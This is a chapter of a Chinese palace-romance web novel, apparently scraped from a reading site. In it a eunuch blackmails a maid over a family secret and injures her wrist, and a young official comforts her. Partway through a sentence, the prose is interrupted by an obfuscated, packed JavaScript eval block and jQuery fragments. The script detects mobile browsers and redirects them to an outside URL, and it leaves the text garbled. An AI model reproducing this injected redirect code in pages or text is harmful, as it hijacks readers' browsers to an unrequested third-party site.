默认冷灰
24号文字
方正启体

42. 第四十一章

作者:伊衔青书本书字数:K更新时间:
    严正平正在出神,闻言笑了笑道:“奴婢不懂这些。”


    祯和道:“朕准你说。”


    严正平看了看,“刚才两位翰林编修找出这上面的错漏和缺处,一看便知平日行文老辣,才学极佳的人。”他顿了顿又道:“不过,刚刚杨大人能发现程司记的写得妙处,宛如伯牙遇钟子期那般。且杨大人的文章一直让沈阁老夸赞,想必才学也是不错。”


    前面那个上了年纪的翰林面露难色道:“不行啊陛下,非臣推诿,只是臣从来都没有教过女学生,再说这那里是能教的通啊!”


    他是一路科考过来的人,为了练字手上悬沙袋、悬砖十几年才把基本功练扎实了。像这种程度从头开始打基础,还得练上十几年,再说了这写字、练字是需要天赋,这孩子一看就是没有天分,再努力也没有什么用。


    后面的一位年轻的翰林附和道:“陛下,臣已经担任内书堂宦官的教书先生,臣在百忙之中实在分身乏术。”


    程鱼看向严正平,突然觉得哪里有些不太对,他刚刚提了两位翰林却唯独狠狠夸赞了杨鲤。


    这倒也罢,在大殿期间,严正平看杨鲤的眼神十分地诡异。


    她怀疑,严正平是故意提杨鲤,是在赌杨大人出自好心一定不会拒绝此事。


    严正平想让她做的,难道是要她去害杨大人?


    不,这不能!


    她顿时升起一阵寒意。


    她不能去害一个曾经那么怕火,还要闯进火场那救她的人。


    她不能这样!


    她看向严正平嘴边掀起一阵讥笑,她太迟钝了,他处处防范她,迟迟不说让她做的是什么。


    她还天真的以为是有什么隐情。


    角落里,另一边严正平对她轻轻一笑。


    她这样子是知道了吧?


    她太迟钝了,太蠢了,总是在他计划之内。


    若不是前日他提议,还不知道要拖到什么时候。


    程鱼很不高兴,让她去害一些尖酸刻薄贪官污吏也就罢了。


    她决不能让严正平得逞。


    杨鲤沉思了片刻,后面的翰林纷纷使眼神让他去,他准备要开口却被一道清丽的声音打断。


    程鱼道:“陛下,奴婢自己不堪大用,枉费了圣上一番栽培之心,奴婢唯恐自己蠢笨耽误圣上的大事,不如将起居录一事让给其他女官来做。”


    祯和意外地看向程鱼道:“你真这么想?”


    程鱼道:“是,近来公主也在学问上大有长进,与其每天分心乏术,不如奴婢以后全权负责公主的内外要事,照顾公主。”


    她这句话说话,大殿陷入一阵阵沉默,身体不停地颤栗,总觉得有一双眼睛在紧紧盯着她。


    她不敢看严正平那双恨不得吃了她的眼睛,此刻她跪在大殿之中,背若芒刺。


    祯和沉思了片刻,“这件事以后再行商议,起居录再择其他合适的人选吧!”


    这些官员自视清高,都不愿教宫里的宦官和女官,可他不能把所有的事情交给这些迂腐的大臣,他想培养在身边一些人才为自己效力。


    “朕乏了,你们先退下吧。”


    杨鲤一直垂着眸,望着那道身影慢慢消失在大殿。


    程鱼适合更好的先生去教她,而他的学问浅薄更害怕误人子弟。


    刚刚圣上问他的时候,他已经想好了要怎么拒绝,可那句拒绝的话始终在嘴边说不出口。


    一直看看到她主动拒绝,她那坚决的态度。


    她生气了吗?


    他并非迟钝,在隐约中他好像知道严正平所想所做的事情,他的动作太快了,一切都在他的掌控之中。


    除夕夜那晚,街里邻居告诉他,有人在打听他一家的事。


    开始他以为是范永那些人做的,只是有些怀疑,可经过先生试探,真正在打探他的,是另有其人。


    午时末,他与其他翰林退出大殿。


    他垂目看向地上的影子。


    程鱼早在一处拐角的地方被小太监拦下去路,安静地等着严正平,


    直到远处想起一阵脚步声,一道模糊的身影,慢慢,离自己越来越近,程鱼见到他走过来慌乱的内心渐渐归于平静。


    程鱼率先开口询问道:“你这是什么意思?”


    严正平眉目阴沉,眼睛却不看她,“我还没来问你的罪,你倒先来指责我了?”


    程鱼道:“你害的是良臣。”


    严正平嘴角扯起冷意道:“我管他是良臣还是奸臣,我有我的理由。你现在不听从于我,就不怕你的秘密被我公之于众?”


    程鱼坦然面对他道:“我现在不怕你了,总之我不能去害好人,特别是对我有恩的人。”


    他目露凶光,“我筹划了那么久,现在功亏一篑,这笔账我该怎么算?”


    程鱼捂住双耳道:“你想害他怎么样都行,反正我做不来。”


    严正平柔声安慰道:“乖,你就按我说去做,这点小事我不会让你死的。”


    程鱼道:“严公公,我求求你了,我只是来宫里讨口饭吃,为了以后出宫能分到田和地,买栋房子别无他求,您今天也看到了我实在没那个本事,我嘴又笨,写文章又烂,实在帮不了你啊!我不能做害君子的小人,不能恩将仇报的,我还要好好生活,不想介入别人的是是非非中,只关心自己的一亩三分地,真的求求你了!”


    “你不帮我,凭什么指望我帮你隐瞒身份?我过的不好,凭什么让你过得那么舒舒服服?既然你说到他对你又恩,那我帮你瞒下这欺天大慌算不算得对你有恩?你该怎么回报我?”


    程鱼睁着大大的双眼,一时间她竟有些无语,这算哪门子的恩,分明是威胁。


    她恨自己没有能力,也恨没有弃所有一切的勇气。


    她想活,她不想就这么死去。


    她对他厌恶到了极致,“你真恶心。”


    严正平道:“恶心?比起千人骑的女儿,谁更恶心,你信不信,只要我把这个消息散播出去,你的表哥,肯定会因为众人的眼光避你如蛇蝎,他现在可是二甲进士,怎么会和一个妓女的女儿有攀扯,别说你表哥,整个大明的人也会唾弃你。”


    程鱼握紧双拳,啪的一下狠狠扇了严正平一掌,随后他的脸上瞬间泛起了红,但是她似乎还嫌不够,右手狠狠地打了一拳。


    严正平轻轻地哼了一下,泛血丝的嘴角竟扬起了笑,对这一拳一掌毫不在意。


    程鱼一字一顿道:“把你嘴巴放干净了,不许侮辱我家人,不许!不许!不许!”


    严正平轻嗤道:“要是我,我就不会承认有这样的家人。”


    “你自己受到刺激,没有家人,干嘛还要说我?”


    程鱼还要上手打,结果被他的手紧紧钳制住手腕。


    “打了两下还不够解气?你以为我真的不会打女人?”


    他狠狠地将她的手腕往反方向折,直到咯吱咯吱的几声骨头响起。


    手腕一阵剧痛,程鱼痛出哭腔,立马跪下去认错道:“我错了,我错了,饶过我吧!”


    严正平见她眼角出了泪花,长长的睫毛被眼泪沾湿,心下一软手上松了力道,用力地甩开她的手。


    “下不为例,这就是你忤逆我的下场!”


    “滚!”


    程鱼用没有受伤的手抹干眼泪,赶紧跑走,唯恐他再说些、做些什么事。


    她光顾着逃跑却没看眼前的路,冷不丁地撞上迎面来的人。


    她来不及思考,本能地迅速行礼道歉,“对不起


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517338|203026||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,奴婢刚才没有看清人,才冲撞了....”


    “程鱼。”


    鼻尖萦绕着熟悉的皂角的清香,她微微一怔,猛得抬起头,他面露担忧,浓眉永远是紧紧皱着。


    “啊..原来是杨大人。”


    杨鲤道:“出什么事了?”


    程鱼挥了挥手,“没什么事,就是撞到霉运了,遇到一只老鼠,可把我恶心坏了。”


    杨鲤从怀里拿出一瓶好看的瓷白瓶,“这是祛瘀的伤药,对膝盖有用。”


    他特意返回来是要给她疗伤的药吗?


    程鱼撇开头,不敢去看杨鲤的眼睛,嘴抽了抽道:“我用不着的,也不是天天跪在地上。”


    杨鲤嗯了一声,向来不强人所难的他,手指在瓶身上捏了捏,在将要收回的时候发现她雪白的手腕上紫色的淤青。


    程鱼见他半天没说话,回视了一眼,没想到他盯着她的手腕的淤青,她迅速拉下衣袖遮住,却为时已晚。


    “这个...这个....”


    她不知道该怎么解释,她抬起头看向他的那双黑色的眸,一时呆住,他那般看着自己,不带任何、一丝的巡视,也没有不耐烦,如是一副在宣纸上晕开的墨迹。


    她和杨大人的相处永远不会觉得不适,就在刚要掩饰的时候他眼底掀起一点点波澜。


    随后她只好把他手中的白瓷瓶拿走,双眼飘忽,瓶子的温度将她的手心烫了一下,她挠了挠脑袋,“杨大人,你这药来的刚好,可太及时了,我都差点忘了今天早上被门夹到的手还不知道怎么办呢!”


    “你这瓶药乃及时雨啊!”


    杨鲤看拿道伤痕,实属不是被门夹的,上面有手指印,而且她的眼角还有红痕。


    她被人欺负了。


    杨鲤盯着面前女子,还嘻嘻直笑,心中一阵难受,“以后你若有什么不开心的事,你可以跟我说。”


    程鱼鼻尖微微一酸,“我哪里不开心,杨大人,给我送药我就…就很开心啊!”


    他被她的话触动,停顿一下,修长的手指点了点她的脑袋道:“时候不早了,我要回去了。”


    程鱼笑的甜滋滋,摆手道:“杨大人下次见!”


    她攥着药瓶回去的路上被一个小太监拦着,他手里裹着油纸,她隔着很远就闻到香味了!


    “是核桃酥和甘露饼,你爱吃的甜咸口味。”


    还是她最爱吃的!


    问及是谁给的,这个小太监道:“半路遇到陈公子受他所托。”


    原来是陈廉,算他还有点良心。


    她一口气吃了好几个,心情好多了,事情也想通了,她绝不能答应严正平的要求,绝对不能!


    她今晚就想对策严正平的方法,她绝对不能再被他拿捏了。


    程鱼回到值房,把点心拆开慢慢吞下,点心又香又软,只是太咸了,齁死了。


    杨鲤出了东华门,文庆走了上来笑道:“公子?那核桃酥好吃吗?”


    他可是买的最好的那家点心店。


    杨鲤嗯了一声。


    文庆觉得他家公子有些不开心。


    “公子,那下回还买吗?”


    “买。”杨鲤又道:“下回换其他的点心,都要咸口!”


    文庆一边说是,一边思索,他家公子什么时候口味那么重了?


    难道最近家里的饭菜太淡,口味也变重了?


    他回去一定要让阿娘多放点盐。


    杨鲤对那雪白腕子上的淤青在脑子中挥之不去。


    想起严正平今日的举动,之前心中那点疑虑全部都昭然若揭。


    严正平一定是发现了什么。


    他不能再退缩,如果他们两个人之间的恩恩怨怨,牵连无辜的人,那他不能坐视不管。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)